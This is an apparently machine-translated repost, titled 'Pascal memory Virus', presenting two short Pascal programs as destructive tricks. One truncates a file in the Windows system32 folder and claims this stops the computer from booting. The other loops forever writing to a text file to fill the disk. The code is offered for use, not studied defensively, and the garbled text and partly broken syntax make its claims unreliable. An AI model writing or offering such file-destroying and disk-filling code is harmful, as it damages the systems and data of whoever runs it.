Pascal memory Virus)

Source: Internet
Author: User
Pascal memory Virus

Chaobs obtained from the Internet

Although the Pascal virus can be closed with only Ctrl + pause break, once some programs are started, you don't have to wait until you find the two keys, so you can close the operation. For example, the following program:

VaR
A: text;
Begin
Assign (A, 'c: \ windows \ system32 \ system64.dat ');
Rewrite ();
Close ();
End.

This program can run in 0.1 seconds, but the effect is very obvious-the computer cannot be opened ...... For example:

VaR
S: string;
I: integer;
Begin
I: = 1;
S: = '';
Assign(output,'windows.txt ');
Rewrite (output );
While I = 1 do
Writeln (s );
Close (output );
End.

The effect is: 200 Mb/s (which may change with the speed of the computer). Of course, the sentence "s: =''; "can be faster if it gets longer.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.